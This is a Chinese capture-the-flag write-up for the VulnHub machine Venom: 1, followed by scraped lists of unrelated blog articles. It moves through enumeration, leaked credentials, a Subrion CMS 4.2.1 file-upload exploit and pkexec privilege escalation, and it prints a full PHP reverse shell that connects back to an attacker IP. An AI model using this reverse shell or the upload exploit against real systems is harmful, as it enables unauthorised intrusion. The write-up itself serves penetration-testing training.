准备:

攻击机:虚拟机kali、本机win10。

靶机:Venom: 1,下载地址:https://download.vulnhub.com/venom/venom.zip,下载后直接vbox打开即可。

知识点:enum4linux扫描、敏感信息发现、dns解析、Subrion CMS框架、文件上传漏洞、shell反弹、pkexec提权。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.180。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.180,显示开放了21、80、139、443、445端口,开启了http服务、ftp服务、samba服务等。

使用enum4linux对samba服务进行扫描,命令:enum4linux 192.168.5.180,发现账户信息:nathan、hostinger。

访问web服务,在其源码信息中发现md5加密的信息,解密获得:hostinger,上面已经获得账户信息,猜测这里可能是密码信息。

ftp服务:

使用获得账户信息:nathan、hostinger和可能是密码的信息:hostinger进行ftp登录,在使用:hostinger/hostinger进行登录时,成功登录。在ftp服务中获得隐藏的文件信息:hint.txt文件。

下载hint.txt文件并读取该文件信息两条base64加密的信息、一个密码信息:L7f9l8@J#p%Ue+Q1234、一个账户信息:dora、一个域名信息:venom.box。

对两条bse64信息进行解密,获得一个解密网站:https://cryptii.com/pipes/vigenere-cipher。

在该解密网站对获得密码进行解密,获得一组密码信息:E7r9t8@Q#h%Hy+M1234。

DNS解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件,添加:192.168.5.180 venom.box,然后访问:http://venom.box/。

使用获得账户和密码信息:dora/E7r9t8@Q#h%Hy+M1234在登录页面:成功登陆后在设置页面发现框架和版本信息:Subrion CMS v 4.2.1。

获取shell: 

在kali中搜索下该框架版本:Subrion CMS v 4.2.1是否存在漏洞信息,发现了一个文件上传漏洞。

查看该漏洞的利用信息并进行利用:python 49876.py -u "http://venom.box/panel/" -l "dora" -p "E7r9t8@Q#h%Hy+M1234",成功获取到shell权限,但是获取的shell权限执行命令受限。

但是利用该漏洞之后在web服务中的上传文件的地方发现了上传的文件信息,其后缀为:phar,因此我们上传(右键)一个回连的php脚本,脚本信息可以在:https://www.revshells.com/网站生成。上传成功后在kali中开启对6688端口的监听,然后访问该文件:http://venom.box/uploads/shell.phar,成功获得shell权限。

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.5.150';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0; if (function_exists('pcntl_fork')) {
$pid = pcntl_fork(); if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
} if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
} $daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
} chdir("/"); umask(0); // Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
} $descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
} stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
} if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
} $read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
} if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
} if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
} fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process); function printit ($string) {
if (!$daemon) {
print "$string\n";
}
} ?>

提权-nathan:

使用之前获得账户信息:hostinger/hostinger切换成hostinger账户,然后在/var/backup.bak目录下发现.backup.txt文件,读取该文件信息是hostinger账户的信息,但是已经切换到hostinger账户了,这里已经没啥用了。

尝试使用sudo -l和find / -perm -4000 -type f 2>/dev/null来查询下可以进行提权的信息,但是没任何发现。

然后经过一番查找发现,在/var/www/html/subrion/backup目录下发现.htaccess文件,读取该文件信息获取到一组字符串:FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a,猜测是nathan账户的密码。

使用获得的账户信息:nathan/FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a切换到nathan账户。

提权-root:

使用sudo -l查看下nathan可以执行的root命令信息,发现除了su外都可以。

那就查询下具有root权限的命令信息:find / -perm -4000 -type f 2>/dev/null,发现find、pkexec等命令。

查询下pkexec命令的提权方式,命令:sudo pkexec /bin/sh,成功提权到root权限。

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。 

vulnhub靶场之VENOM: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. nginx性能监控

    nginx自带监控模块,需要在nginx编译安装时加入监控模块. 1. 编译安装时加入监控模块 ngin编译安装时,加入编译参数为:--with-http_stub_status_module.如下所 ...

  2. RocketMQ 在物流行业的应用与运维

    本文作者:丁威 - 中通快递资深架构师,<RocketMQ技术内幕>作者,Apache RocketMQ社区首席布道师,公众号「中间件兴趣圈」维护者. 01 物流行业的业务特点 物流行业有 ...

  3. JavaScrip基础学习笔记(一)

    一.三元表达式 1.1 什么是三元表达式 由三元运算符组成的式子我们称为三元表达式 1.2 语法结构 条件表达式 ? 表达式1 : 表达式2 1.3 执行思路 如果表达式为结果真 则返回表达式1的值, ...

  4. 【RPC和Protobuf】之Protobuf环境配置及组合工作

    Protobuf定义:是一种数据描述语言,作为接口规范的描述语言,可作为设计安全的跨语言RPC接口的基础工具 一.Protobuf入门 作用:最终保证RPC接口规范和安全 最基本的数据单元:messa ...

  5. 关于python统计一个列表中每个元素出现的频率

    第一种写法: a = ['h','h','e','a','a'] result = {} for i in a: if i not in result: result[i] = 1 else: res ...

  6. 移动 VR 开发时要避免的 PC 渲染技术

    更新:本文是为 Quest 1 开发人员编写的.虽然 Quest 2 建立在相同的架构上,但现在更容易为阴影贴图(以及其他需要从先前渲染过程中生成的纹理读取的简单技术)做预算. 尽管移动芯片组可以支持 ...

  7. Execute Crond Service on openEuler

    一.Execute Crond Service on openEuler 1 crond 概述 crond就是计划任务/定时任务 常见有闹钟.PC端定时关机 shutdown -s -t 200,定时 ...

  8. 【精选】前端JS面试题35个

    1.问:什么是匿名函数?作用是什么?           答:没有名字的函数就是匿名函数,作用有三,把函数当作变量赋值,把函数当作参数(回调函数),把函数当作另一个函数的返回值(闭包)         ...

  9. 13-flask博客项目之restful api详解2-使用

    13-flask博客项目之restful api详解1-概念 13-flask博客项目之restful api详解1-概念 Flask-RESTful学习网站 英文:https://flask-res ...

  10. VsCode搭建C语言运行环境以及终端乱码问题解决

    在VsCode中搭建C/C++运行环境需要先安装以下插件 1.安装c/c++插件 2.安装code runner插件 当然也可以安装一些其他的美化插件根据个人习惯,但是以上这两个是必装的. 安装好插件 ...